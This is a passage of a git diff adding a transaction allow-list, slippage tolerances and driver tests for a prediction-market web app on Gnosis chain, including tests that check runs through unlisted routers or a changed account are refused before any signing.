refuses when the connected account is not the run's owner. | calldata decode; driver tests | +| P5 | **Calldata matches the allow-list.** Every top-level and inner call is in `allowlist.ts` for the chain. Approvals equal the input of the call that follows them, are never unbounded, and are reset to zero after a swap that the limit stopped partway. No `delegatecall`; no native value inside `batchExecute`. A credits run's first batch is a `batchValueExecute` whose only native value is the parent `splitFromBase`, equal to the WXDAI unwrapped just before it; the credits manager spends its own collateral, so the trade wallet approves nothing for that swap. | `flow/allowed.ts`, at runtime and in unit tests | +| P6 | **Reviewed intent.** A run signs only the amount, token and estimates the popup showed when Predict, or Resume in recovery mode, was pressed. | driver tests | +| P7 | **No double spend.** Across retry, resume and recovery, the parent split, the deposit, the credits transfer and the credits spend each happen at most once per run. | driver and fork tests | +| P8 | **No floats on amounts.** No `number`, `parseFloat` or `Math.*` on an amount, price or balance path; amounts are `bigint`. | lint, review | +| P9 | **Lens answers are checked.** A Lens answer is signed only when its router is the chain's Swapr router, its recipient the owner's trade wallet, its tokens and amount in those asked for, and its native value zero. The minimum out and the deadline are set by the app, not taken from the answer; the deadline is at most `QUOTE_DEADLINE_SECONDS` ahead and ends before the session's close. | lens unit tests | +| P10 | **Held quotes.** Confirm at Prices moved holds the run to the quotes it showed. Each leg's signed minimum is at least the output shown, scaled to what the leg spends, less the trade slippage. | plan, lens and driver tests | +| P11 | **Held sends.** Every send is stored with the run (owner, nonce, block, transaction) before the wallet opens, and held until its hash is stored or its nonce shows how it ended. While a send is held or pending, its step is not signed again and the run is not reset or discarded. | driver tests | +| P12 | **Session close.** No wallet prompt once the chain's clock reaches the session's close; the check runs again after a build's reads, just before the wallet opens. | driver tests | +| P13 | **Credits floor.** The credits swap's floor is `max(quote, credits × CREDITS_MIN_RATE_WAD) × (1 − creditsBps)`, in WXDAI. A quote under that floor is refused before anything is signed. | unit tests | +| P14 | **Allow-list at runtime.** Before the wallet opens, each transaction is decoded against P4 and P5 with the connected account as sender. A departure stops the run as `unlisted`, with no prompt and no held send. | driver tests | +| P15 | **Trade wallet by CREATE2.** The trade wallet is derived in the app from the factory, its salt and `TradeExecutor`'s creation code. A node that names another for the owner is refused, and nothing is paid to it. | unit tests | diff --git a/apps/web/src/features/predict/oracle/__tests__/allowlist.test.ts b/apps/web/src/features/predict/oracle/__tests__/allowlist.test.ts new file mode 100644 index 00000000..690b090d --- /dev/null +++ b/apps/web/src/features/predict/oracle/__tests__/allowlist.test.ts @@ -0,0 +1,69 @@ +import { erc20Abi, getAbiItem, parseAbi, toFunctionSelector, type Abi } from "viem"; +import { describe, expect, it } from "vitest"; + +import { + creditsManagerAbi, + creditsRoute, + gnosisRouterAbi, + gnosisRouterAddress, + sDaiAdapterAbi, + sDaiDepositRoute, + swaprRouterAddress, + tradeExecutorAbi, + tradeExecutorFactoryAbi, + tradeExecutorFactoryAddress, + wxdaiAbi, +} from "@/config/contracts"; + +import { PREDICT_ALLOW_LIST } from "../allowlist"; + +const ALGEBRA = parseAbi([ + "function exactInputSingle((address tokenIn, address tokenOut, address recipient, uint256 deadline, uint256 amountIn, uint256 amountOutMinimum, uint160 limitSqrtPrice) params) payable returns (uint256 amountOut)", +]); + +/** Each entry's selector, worked out from the ABI the app encodes with. */ +const ABIS: Record = { + "createExecutor()": tradeExecutorFactoryAbi, + "transfer(address,uint256)": erc20Abi, + "approve(address,uint256)": erc20Abi, + "depositXDAI(address)": sDaiAdapterAbi, + "batchExecute((address,bytes)[])": tradeExecutorAbi, + "batchValueExecute((address,uint256,bytes)[])": tradeExecutorAbi, + "splitPosition(address,address,uint256)": gnosisRouterAbi, + "mergePositions(address,address,uint256)": gnosisRouterAbi, + "splitFromBase(address)": gnosisRouterAbi, + "execute(address,bytes,uint256,address)": creditsManagerAbi, + "withdraw(uint256)": wxdaiAbi, + "exactInputSingle((address,address,address,uint256,uint256,uint256,uint160))": ALGEBRA, +}; + +describe("the predict allow-list on Gnosis", () => { + const list = PREDICT_ALLOW_LIST[100]!; + + it("names every selector as the app's own ABI encodes it", () => { + for (const entry of [...list.topLevel, ...list.inner]) { + const abi = ABIS[entry.name]; + expect(abi, entry.name).toBeDefined(); + const item = getAbiItem({ abi: abi!, name: entry.name.slice(0, entry.name.indexOf("(")) }); + expect(toFunctionSelector(item as never), entry.name).toBe(entry.selector); + } + }); + + it("lets native value through one call only, the parent split from xDAI", () => { + expect(list.inner.filter((entry) => entry.value).map((entry) => entry.name)).toEqual(["splitFromBase(address)"]); + }); + + it("names the contracts the app resolves for a credits run", () => { + const sDai = "0xaf204776c7245bF4147c2612BF6e5972Ee483701"; + expect(creditsRoute(sDai, 100)).toEqual({ + token: list.credits, + manager: list.creditsManager, + wxdai: list.wxdai, + swaprRouter: list.swaprRouter, + }); + expect(gnosisRouterAddress(100)).toBe(list.gnosisRouter); + expect(sDaiDepositRoute(sDai, 100)?.sDaiAdapter).toBe(list.sDaiAdapter); + expect(swaprRouterAddress(100)).toBe(list.swaprRouter); + expect(tradeExecutorFactoryAddress(100)).toBe(list.tradeExecutorFactory); + }); +}); diff --git a/apps/web/src/features/predict/oracle/allowlist.ts b/apps/web/src/features/predict/oracle/allowlist.ts new file mode 100644 index 00000000..61ced212 --- /dev/null +++ b/apps/web/src/features/predict/oracle/allowlist.ts @@ -0,0 +1,69 @@ +import type { Address, Hex } from "viem"; + +/** Who may receive an approval inside a predict batch. */ +export type Spender = "gnosisRouter" | "swaprRouter"; + +export interface PredictAllowList { + tradeExecutorFactory: Address; + sDaiAdapter: Address; + gnosisRouter: Address; + /** Swapr's Algebra router, the target Seer's Lens returns for every swap, and the one the credits manager whitelists. */ + swaprRouter: Address; + /** Foresight credits, their manager, and the WXDAI the manager's swap pays out. */ + credits: Address; + creditsManager: Address; + wxdai: Address; + /** Signed by the owner. A token target means any of the session's tokens. */ + topLevel: { + target: "tradeExecutorFactory" | "sDaiAdapter" | "collateral" | "credits" | "ownExecutor"; + selector: Hex; + name: string; + }[]; + /** Run by the owner's executor inside `batchExecute` or `batchValueExecute`. */ + inner: { + target: "sessionToken" | "gnosisRouter" | "swaprRouter" | "creditsManager" | "wxdai"; + selector: Hex; + name: string; + spender?: Spender[]; + /** The one call that may carry native value: exactly the WXDAI unwrapped just before it. */ + value?: true; + }[]; +} + +export const PREDICT_ALLOW_LIST: Record = { + 100: { + tradeExecutorFactory: "0x28e3afBdF711755c4400e3d7F74Df5d3cc9C369C", + sDaiAdapter: "0xD499b51fcFc66bd31248ef4b28d656d67E591A94", + gnosisRouter: "0xeC9048b59b3467415b1a38F63416407eA0c70fB8", + swaprRouter: "0xfFB643E73f280B97809A8b41f7232AB401a04ee1", + credits: "0x09E7014D2c15Eb8C5ee25853FE6842FF5E2c94f9", + creditsManager: "0x17592eFE59a318A6B0AFE32145ee04eAFeeA8A61", + wxdai: "0xe91D153E0b41518A2Ce8Dd3D7944Fa863463a97d", + topLevel: [ + { target: "tradeExecutorFactory", selector: "0xf0791d5c", name: "createExecutor()" }, + { target: "collateral", selector: "0xa9059cbb", name: "transfer(address,uint256)" }, + { target: "credits", selector: "0xa9059cbb", name: "transfer(address,uint256)" }, + { target: "sDaiAdapter", selector: "0xf716a92b", name: "depositXDAI(address)" }, + { target: "ownExecutor", selector: "0xb1bdad27", name: "batchExecute((address,bytes)[])" }, + { target: "ownExecutor", selector: "0xfc792715", name: "batchValueExecute((address,uint256,bytes)[])" }, + ], + inner: [ + { + target: "sessionToken", + selector: "0x095ea7b3", + name: "approve(address,uint256)", + spender: ["gnosisRouter", "swaprRouter"], + }, + { target: "gnosisRouter", selector: "0xd5f82280", name: "splitPosition(address,address,uint256)" }, + { target: "gnosisRouter", selector: "0x7abef8d1", name: "mergePositions(address,address,uint256)" }, + { + target: "swaprRouter", + selector: "0xbc651188", + name: "exactInputSingle((address,address,address,uint256,uint256,uint256,uint160))", + }, + { target: "creditsManager", selector: "0x70ec9d08", name: "execute(address,bytes,uint256,address)" }, + { target: "wxdai", selector: "0x2e1a7d4d", name: "withdraw(uint256)" }, + { target: "gnosisRouter", selector: "0x50d9991c", name: "splitFromBase(address)", value: true }, + ], + }, +}; diff --git a/apps/web/src/features/predict/oracle/tolerances.ts b/apps/web/src/features/predict/oracle/tolerances.ts new file mode 100644 index 00000000..cdd41fa7 --- /dev/null +++ b/apps/web/src/features/predict/oracle/tolerances.ts @@ -0,0 +1,39 @@ +import type { PredictSlippage } from "../flow/types"; + +/** Hundredths of a percent a quote may move against the trade wallet before the swap reverts, by default. */ +export const SLIPPAGE_BPS = 100; + +export { QUOTE_DEADLINE_SECONDS } from "@/lib/swap/deadline"; + +/** Native balance an xDAI deposit and Max always leave for gas: 0.01 xDAI. */ +export const GAS_RESERVE_WEI = 10n ** 16n; + +/** How far past its target a pool may end after a run, in ticks. */ +export const PRICE_TOLERANCE_TICKS = 1; + +/** Rounding allowed between an xDAI deposit's expected and minted sDAI, in wei. */ +export const DUST_WEI = 10n ** 6n; + +/** + * Hundredths of a percent the credits swap's output may fall below its quote, by default; the + * surplus over this floor stays in the trade wallet as WXDAI. + */ +export const CREDITS_SLIPPAGE_BPS = 20; + +/** The least WXDAI wei the credits swap takes as one sDAI's worth, which no node's answer can lower: sDAI's rate starts at 1 and only rises. */ +export const CREDITS_MIN_RATE_WAD = 10n ** 18n; + +/** The slippage a run uses unless the visitor sets their own. */ +export const DEFAULT_SLIPPAGE: PredictSlippage = { tradeBps: SLIPPAGE_BPS, creditsBps: CREDITS_SLIPPAGE_BPS }; + +/** The most slippage a run accepts on any swap, as CowSwap caps it: 50%. */ +export const MAX_SLIPPAGE_BPS = 5_000; + +/** The least custom slippage: a swap held to its exact quote reverts on a pool's rounding alone. */ +export const MIN_SLIPPAGE_BPS = 1; + +/** Custom slippage above these warns in the settings: 5% on trades, 1% on the credits swap's stable pair. */ +export const HIGH_SLIPPAGE_BPS: Readonly = { tradeBps: 500, creditsBps: 100 }; + +/** Custom slippage under these warns in the settings: 0.1% on trades, 0.05% on the credits swap. */ +export const LOW_SLIPPAGE_BPS: Readonly = { tradeBps: 10, creditsBps: 5 }; diff --git a/apps/web/src/features/predict/run/__tests__/driver.allowList.test.ts b/apps/web/src/features/predict/run/__tests__/driver.allowList.test.ts new file mode 100644 index 00000000..b874a2ae --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.allowList.test.ts @@ -0,0 +1,105 @@ +import { createFlowRunStore, createMemoryStorage, type FlowTx, type TxGateway } from "@foresight/tx-orchestrator"; +import type { Address, Hash, TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { addresses, ctx, fakeQuoter, fakeReader, snapshot } from "../../flow/__tests__/support/fakes"; +import type { PredictCtx, PredictSnapshot } from "../../flow/types"; +import { createPredictRun } from "../driver"; +import type { PredictDriver } from "../types"; + +const ATTACKER = "0x00000000000000000000000000000000000000ee" as Address; + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +/** A run on a chain where every send mines; `onSend` sees each transaction the wallet is handed. */ +function driverWith(args: { + live: () => PredictCtx; + quoter?: ReturnType; + onSend?: (tx: FlowTx) => void; +}) { + const sends: FlowTx[] = []; + const receipt = (hash: Hash) => + ({ transactionHash: hash, status: "success", blockNumber: 19_000_000n, logs: [] }) as unknown as TransactionReceipt; + const gateway: TxGateway = { + sendTransaction: (tx) => { + sends.push(tx); + args.onSend?.(tx); + return Promise.resolve(`0x${sends.length.toString(16).padStart(64, "0")}` as Hash); + }, + waitForReceipt: ({ hash }) => Promise.resolve(receipt(hash)), + getReceipt: (hash) => Promise.resolve(receipt(hash)), + isKnown: () => Promise.resolve(true), + }; + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const flowId = `predict-allow-${drivers.length}`; + const driver = createPredictRun({ + gateway, + reader: fakeReader({ deployed: true }), + quoter: args.quoter ?? fakeQuoter(), + flowId, + store, + ctx: args.live, + snapshot: () => snapshot(), + }); + drivers.push(driver); + return { driver, sends, stored: () => store.load(flowId) }; +} + +const halted = (driver: PredictDriver) => vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + +describe("createPredictRun against the allow-list", () => { + it("sends a run whose every call keeps to the allow-list", async () => { + const { driver, sends } = driverWith({ live: () => ctx() }); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + + expect(sends.map((tx) => tx.to)).toEqual([addresses.collateral, addresses.executor]); + }); + + it("opens no wallet for a batch that splits through a router the allow-list does not name", async () => { + const { driver, sends, stored } = driverWith({ live: () => ctx({ router: ATTACKER }) }); + + driver.start(); + await halted(driver); + + expect(driver.getProgress().failure).toEqual({ reason: "unlisted", retryable: false }); + expect(sends.map((tx) => tx.to)).toEqual([addresses.collateral]); + expect(stored()?.snapshot.unanswered).toBeUndefined(); + }); + + it("opens no wallet for a batch whose swap goes through a router the allow-list does not name", async () => { + const quoter = fakeQuoter(); + const quote = quoter.quote; + const elsewhere = { + ...quoter, + quote: async (request: Parameters[0]) => ({ ...(await quote(request)), router: ATTACKER }), + }; + const { driver, sends } = driverWith({ live: () => ctx(), quoter: elsewhere }); + + driver.start(); + await halted(driver); + + expect(driver.getProgress().failure).toEqual({ reason: "unlisted", retryable: false }); + expect(sends.map((tx) => tx.to)).toEqual([addresses.collateral]); + }); + + it("opens no wallet once the connected account is not the run's owner", async () => { + let owner: Address = addresses.owner; + const { driver, sends } = driverWith({ + live: () => ctx({ owner }), + onSend: () => { + owner = ATTACKER; + }, + }); + + driver.start(); + await halted(driver); + + expect(driver.getProgress().failure).toEqual({ reason: "unlisted", retryable: false }); + expect(sends.map((tx) => tx.to)).toEqual([addresses.collateral]); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.batchGas.test.ts b/apps/web/src/features/predict/run/__tests__/driver.batchGas.test.ts new file mode 100644 index 00000000..215dc185 --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.batchGas.test.ts @@ -0,0 +1,128 @@ +import { createFlowRunStore, createMemoryStorage, type TxGateway } from "@foresight/tx-orchestrator"; +import { UserRejectedRequestError } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { + chainState, + ctx, + fakeQuoter, + fakeReader, + gasLimitFor, + option, + snapshot, + WAD, +} from "../../flow/__tests__/support/fakes"; +import { createPredictRun } from "../driver"; +import type { PredictDriver } from "../types"; + +const FLOW_ID = "predict-batch-gas"; +const OPTIONS = [1, 2, 3, 4, 5].map((index) => option(index)); + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +/** Turns down every send, so a run stops at its first one with its plan saved. */ +const rejecting: TxGateway = { + sendTransaction: () => Promise.reject(new UserRejectedRequestError(new Error("rejected"))), + waitForReceipt: () => Promise.reject(new Error("nothing was sent")), + getReceipt: () => Promise.resolve(null), + isKnown: () => Promise.resolve(false), +}; + +function setup(blockGasLimit: bigint, store = createFlowRunStore({ storage: createMemoryStorage() })) { + const driver = createPredictRun({ + gateway: rejecting, + reader: fakeReader({ deployed: true, state: () => chainState({ underlying: WAD }), blockGasLimit }), + quoter: fakeQuoter(), + flowId: FLOW_ID, + store, + ctx: () => ctx(), + snapshot: () => snapshot({ options: OPTIONS }), + }); + drivers.push(driver); + return { driver, store }; +} + +const batchRows = (driver: PredictDriver) => + driver.getProgress().steps.filter((row) => row.id.startsWith("predict-")).length; + +describe("createPredictRun's batches", () => { + it("holds as many options each as the latest block's gas limit leaves room for", async () => { + const { driver } = setup(gasLimitFor(2)); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + + expect(batchRows(driver)).toBe(3); + expect(driver.getProgress().batches).toBe(3); + }); + + it("sizes them by the first batch's live estimate where the node puts it above the budget", async () => { + const reader = fakeReader({ + deployed: true, + collateral: WAD, + state: () => chainState({ underlying: WAD }), + blockGasLimit: gasLimitFor(2), + // 0.7M and 2M an option, above the budget's 1.5M an option + estimateGas: () => Promise.resolve(700_000n + BigInt(reader.asked.at(-1)!.options.length) * 2_000_000n), + }); + const driver = createPredictRun({ + gateway: rejecting, + reader, + quoter: fakeQuoter(), + flowId: `${FLOW_ID}-live`, + ctx: () => ctx(), + snapshot: () => snapshot({ options: OPTIONS, deposit: 0n, collateralBefore: WAD }), + }); + drivers.push(driver); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + + expect(reader.estimated.length).toBeGreaterThan(0); + expect(batchRows(driver)).toBe(5); + }); + + it("keeps a stored run's batches when the gas limit has changed since it started", async () => { + const { driver, store } = setup(gasLimitFor(2)); + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + driver.dispose(); + + const reopened = setup(gasLimitFor(1), store).driver; + reopened.recover(); + await vi.waitFor(() => expect(reopened.getProgress().stage).toBe("review")); + + expect(reopened.getProgress().recovered?.optionsPerBatch).toBe(2); + expect(batchRows(reopened)).toBe(3); + }); + + it("stops before planning when the gas limit cannot be read, and tries again on retry", async () => { + let fails = true; + const reader = fakeReader({ deployed: true, state: () => chainState({ underlying: WAD }) }); + const driver = createPredictRun({ + gateway: rejecting, + reader: { + ...reader, + blockGasLimit: () => (fails ? Promise.reject(new Error("node down")) : reader.blockGasLimit()), + }, + quoter: fakeQuoter(), + flowId: `${FLOW_ID}-unread`, + ctx: () => ctx(), + snapshot: () => snapshot({ options: OPTIONS }), + }); + drivers.push(driver); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + expect(driver.getProgress().failure?.retryable).toBe(true); + expect(driver.getProgress().steps).toEqual([]); + + fails = false; + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("rejected")); + expect(batchRows(driver)).toBeGreaterThan(0); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.confirmRequest.test.ts b/apps/web/src/features/predict/run/__tests__/driver.confirmRequest.test.ts new file mode 100644 index 00000000..f842c8d9 --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.confirmRequest.test.ts @@ -0,0 +1,66 @@ +import type { FlowTx, TxGateway } from "@foresight/tx-orchestrator"; +import { decodeFunctionData, erc20Abi, type Hash, type TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { addresses, ctx, fakeReader, option, poolQuoter, snapshot, WAD } from "../../flow/__tests__/support/fakes"; +import type { PredictRequest } from "../../flow/types"; +import { createPredictRun } from "../driver"; +import type { PredictDriver } from "../types"; + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +describe("createPredictRun confirming at moved before anything was signed", () => { + it("signs the funding the popup froze at Predict, not what the form holds by Confirm", async () => { + const sends: FlowTx[] = []; + const gateway: TxGateway = { + sendTransaction: (tx) => { + sends.push(tx); + return Promise.resolve(`0x${sends.length.toString(16).padStart(64, "0")}` as Hash); + }, + waitForReceipt: ({ hash }) => + Promise.resolve({ + transactionHash: hash, + status: "success", + blockNumber: 2n, + logs: [], + } as unknown as TransactionReceipt), + getReceipt: () => Promise.resolve(null), + isKnown: () => Promise.resolve(true), + }; + const { startedAt: _ignored, ...pressed } = snapshot({ + deposit: WAD, + collateralIn: 2n * WAD, + collateralBefore: WAD, + }); + let form: PredictRequest = { ...pressed, startedAt: 1 }; + let tradeWallet = WAD; + const driver = createPredictRun({ + gateway, + reader: { ...fakeReader({ deployed: true }), collateralBalance: () => Promise.resolve(tradeWallet) }, + quoter: poolQuoter([option(1)]), + flowId: "confirm-request", + ctx: () => ctx(), + snapshot: () => form, + }); + drivers.push(driver); + + // held to no plan for the option, so the route check stops at moved + driver.start({ plans: {} }); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("moved")); + + // another tab spends the trade wallet's sDAI, and a refetch re-plans the form to a 2 sDAI deposit + tradeWallet = 0n; + form = { ...form, deposit: 2n * WAD, collateralBefore: 0n }; + driver.confirm(); + await vi.waitFor(() => expect(["halted", "complete"]).toContain(driver.getProgress().stage)); + + const deposited = sends + .filter((tx) => tx.to === addresses.collateral) + .map((tx) => decodeFunctionData({ abi: erc20Abi, data: tx.data! }).args[1]); + expect(deposited).not.toContain(2n * WAD); + expect(driver.getProgress().failure?.reason).toBe("balance"); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.credits.test.ts b/apps/web/src/features/predict/run/__tests__/driver.credits.test.ts new file mode 100644 index 00000000..c7f6d5c2 --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.credits.test.ts @@ -0,0 +1,599 @@ +import { + createFlowRunStore, + createMemoryStorage, + type FlowRunStore, + type FlowTx, + type StepSummary, + type TxGateway, +} from "@foresight/tx-orchestrator"; +import { decodeFunctionData, parseAbi, type Hash, type TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { tradeExecutorAbi } from "@/config/contracts"; + +import { + addresses, + chainState, + ctx, + fakeCreditsQuoter, + fakeQuoter, + fakeReader, + gasLimitFor, + landedTx, + option, + snapshot, + WAD, +} from "../../flow/__tests__/support/fakes"; +import { planPredict, STEP_ID } from "../../flow/plan"; +import type { LandedTx, OptionChainState, PredictCtx, PredictOption, PredictSnapshot } from "../../flow/types"; +import { predictSteps } from "../../utils/predictSteps"; +import { createPredictRun } from "../driver"; +import type { PredictDriver } from "../types"; + +const TRANSFER = parseAbi(["function transfer(address to, uint256 amount)"]); +const EXECUTE = parseAbi(["function execute(address to, bytes data, uint256 amount, address outputToken)"]); + +/** + * A chain that keeps the credits: a transfer moves them from the owner to the trade wallet, a + * landed first batch burns what its `execute` names. `revert` lists the sends that revert. + */ +function creditsChain( + start: { + owner: bigint; + executor: bigint; + manager?: bigint; + state?: (option: PredictOption) => OptionChainState; + /** What landed before the test starts, as the reader finds it. */ + landed?: FlowTx[]; + }, + revert: number[] = [], +) { + const balances = { owner: start.owner, executor: start.executor }; + const ledger: LandedTx[] = (start.landed ?? []).map((tx) => landedTx(tx)); + const signRequests: FlowTx[] = []; + const landed = { transfers: 0, spends: 0 }; + const chain = new Map(); + const receipt = (hash: Hash, status: "success" | "reverted") => + ({ transactionHash: hash, status, blockNumber: 19_000_000n }) as TransactionReceipt; + + /** The credits `tx` burns, as the manager checks them against the caller's balance. */ + function burns(tx: FlowTx): bigint { + if (tx.to !== addresses.executor) return 0n; + const decoded = decodeFunctionData({ abi: tradeExecutorAbi, data: tx.data! }); + if (decoded.functionName !== "batchValueExecute") return 0n; + return decoded.args[0] + .filter((call) => call.to === addresses.manager) + .reduce((sum, call) => sum + decodeFunctionData({ abi: EXECUTE, data: call.data }).args[2], 0n); + } + + /** What `tx` does to the credits, applied when it lands. */ + function apply(tx: FlowTx) { + ledger.push(landedTx(tx)); + if (tx.to === addresses.credits) { + const [, amount] = decodeFunctionData({ abi: TRANSFER, data: tx.data! }).args; + balances.owner -= amount; + balances.executor += amount; + landed.transfers += 1; + return; + } + if (tx.to !== addresses.executor) return; + const decoded = decodeFunctionData({ abi: tradeExecutorAbi, data: tx.data! }); + if (decoded.functionName !== "batchValueExecute") return; + for (const call of decoded.args[0]) { + if (call.to !== addresses.manager) continue; + const [, , amount] = decodeFunctionData({ abi: EXECUTE, data: call.data }).args; + balances.executor -= amount; + landed.spends += 1; + } + } + + const gateway: TxGateway = { + sendTransaction: (tx) => { + signRequests.push(tx); + const hash = `0x${signRequests.length.toString(16).padStart(64, "0")}` as Hash; + const reverts = revert.includes(signRequests.length) || burns(tx) > balances.executor; + chain.set(hash, reverts ? "reverted" : "success"); + if (!reverts) apply(tx); + return Promise.resolve(hash); + }, + waitForReceipt: ({ hash }) => Promise.resolve(receipt(hash, chain.get(hash) ?? "success")), + getReceipt: (hash) => Promise.resolve(chain.has(hash) ? receipt(hash, chain.get(hash)!) : null), + isKnown: (hash) => Promise.resolve(chain.has(hash)), + }; + + const reader = fakeReader({ + deployed: true, + collateral: 0n, + credits: (holder) => (holder === addresses.executor ? balances.executor : balances.owner), + manager: start.manager ?? 1000n * WAD, + state: start.state, + landed: () => ledger, + }); + + /** Records `hash` as mined with `status`, for a run stored with a hash this chain has seen. */ + const mined = (hash: Hash, status: "success" | "reverted") => void chain.set(hash, status); + + return { gateway, reader, balances, landed, signRequests, apply, mined }; +} + +/** 2 credits spent: 0.5 already in the trade wallet and 1.5 moved from the wallet; no money added. */ +const request = ( + options = [option(1)], +): Omit => { + const { collateralAtStart, creditsAtStart, fromBlock, ...rest } = snapshot({ + options, + deposit: 0n, + collateralIn: 0n, + creditsFromEoa: (3n * WAD) / 2n, + creditsToSpend: 2n * WAD, + }); + void collateralAtStart; + void creditsAtStart; + void fromBlock; + return rest; +}; + +/** The run's own credits transfer and first batch, as a tab that closed on them left them on chain. */ +async function sent(stepId: string): Promise { + const snap = { ...request(), collateralAtStart: 0n, creditsAtStart: WAD / 2n, fromBlock: 1n }; + const deps = { reader: fakeReader(), quoter: fakeQuoter(), creditsQuoter: fakeCreditsQuoter() }; + return planPredict(snap, deps) + .find((step) => step.id === stepId)! + .build(ctx(), snap); +} + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +function drive( + chain: ReturnType, + store?: FlowRunStore, + flowId = `credits-${drivers.length}`, + options = [option(1)], +) { + const driver = createPredictRun({ + gateway: chain.gateway, + reader: { ...chain.reader, blockGasLimit: () => Promise.resolve(gasLimitFor(1)) }, + quoter: fakeQuoter(), + creditsQuoter: fakeCreditsQuoter(), + flowId, + store, + ctx: () => ctx(), + snapshot: () => request(options), + }); + drivers.push(driver); + return driver; +} + +const settled = (driver: PredictDriver) => + vi.waitFor(() => expect(["halted", "complete", "review"]).toContain(driver.getProgress().stage)); + +describe("a credits run, start to end", () => { + it("moves the wallet's credits once and spends them once", async () => { + const chain = creditsChain({ owner: 3n * WAD, executor: WAD / 2n }); + const driver = drive(chain); + + driver.start(); + await settled(driver); + + expect(driver.getProgress().stage).toBe("complete"); + expect(chain.landed).toEqual({ transfers: 1, spends: 1 }); + expect(chain.balances).toEqual({ owner: (3n * WAD) / 2n, executor: 0n }); + }); + + it("refuses before signing anything when the manager cannot cover the credits", async () => { + const chain = creditsChain({ owner: 3n * WAD, executor: WAD / 2n, manager: WAD }); + const driver = drive(chain); + + driver.start(); + await settled(driver); + + expect(driver.getProgress().failure?.reason).toBe("credits"); + expect(chain.signRequests).toEqual([]); + }); + + it("refuses before signing anything when the wallet no longer holds the credits it was shown", async () => { + const chain = creditsChain({ owner: WAD, executor: WAD / 2n }); + const driver = drive(chain); + + driver.start(); + await settled(driver); + + expect(driver.getProgress().failure?.reason).toBe("balance"); + expect(chain.signRequests).toEqual([]); + }); +}); + +describe("credits across a retry (A7, A8)", () => { + it("rebuilds a reverted first batch without moving the credits again, and spends them once", async () => { + // sends: 1 the transfer, 2 the first batch (reverts), 3 the rebuilt batch + const chain = creditsChain({ owner: 3n * WAD, executor: WAD / 2n }, [2]); + const driver = drive(chain); + + driver.start(); + await settled(driver); + expect(driver.getProgress().failure?.reason).toBe("reverted"); + // the credits wait in the trade wallet, owner-withdrawable, for the next attempt + expect(chain.balances.executor).toBe(2n * WAD); + + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + + expect(chain.landed).toEqual({ transfers: 1, spends: 1 }); + expect(chain.signRequests.filter((tx) => tx.to === addresses.credits)).toHaveLength(1); + }); +}); + +describe("credits withdrawn between a reverted first batch and its retry", () => { + it("rebuilds the batch rather than read the missing credits as burned, so no prediction is reported that was not placed", async () => { + const chain = creditsChain({ owner: 3n * WAD, executor: WAD / 2n }, [2]); + const driver = drive(chain); + + driver.start(); + await settled(driver); + expect(driver.getProgress().failure?.reason).toBe("reverted"); + + // the owner withdraws the parked credits from the trade wallet, then presses Retry + chain.balances.owner += chain.balances.executor; + chain.balances.executor = 0n; + driver.retry(); + await settled(driver); + + expect(driver.getProgress().stage).not.toBe("complete"); + expect(chain.signRequests.filter((tx) => tx.to === addresses.executor)).toHaveLength(2); + expect(chain.landed.spends).toBe(0); + }); +}); + +describe("credits across recovery (A7)", () => { + const FLOW_ID = "predict-credits-recovery"; + + function savedRun(steps: StepSummary[], options = [option(1)]): FlowRunStore { + const store = createFlowRunStore({ storage: createMemoryStorage() }); + store.save({ + flowId: FLOW_ID, + adapterId: "predict-flow", + status: "paused", + reason: "rejected", + ctx: ctx(), + snapshot: { + ...request(options), + collateralAtStart: 0n, + creditsAtStart: WAD / 2n, + fromBlock: 1n, + optionsPerBatch: 1, + }, + steps, + }); + return store; + } + + const row = (stepId: string, outcome: StepSummary["outcome"]): StepSummary => ({ stepId, label: stepId, outcome }); + + it("skips Add credits when the tab died with the transfer signed and the transfer shows it landed", async () => { + const chain = creditsChain({ + owner: (3n * WAD) / 2n, + executor: 2n * WAD, + landed: [await sent(STEP_ID.addCredits)], + }); + const store = savedRun([ + row(STEP_ID.createExecutor, { status: "skipped" }), + row(STEP_ID.addCredits, { status: "awaiting-signature" }), + row(STEP_ID.predict(1), { status: "pending" }), + ]); + const driver = drive(chain, store, FLOW_ID); + + driver.recover(); + await settled(driver); + expect(driver.getProgress().stage).toBe("review"); + driver.resume(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + + expect(chain.signRequests.filter((tx) => tx.to === addresses.credits)).toEqual([]); + expect(chain.landed).toEqual({ transfers: 0, spends: 1 }); + }); + + it("signs nothing when the transfer was signed as the tab died and the credits do not show it yet", async () => { + const chain = creditsChain({ owner: 3n * WAD, executor: WAD / 2n }); + const store = savedRun([ + row(STEP_ID.createExecutor, { status: "skipped" }), + row(STEP_ID.addCredits, { status: "awaiting-signature" }), + row(STEP_ID.predict(1), { status: "pending" }), + ]); + const driver = drive(chain, store, FLOW_ID); + + 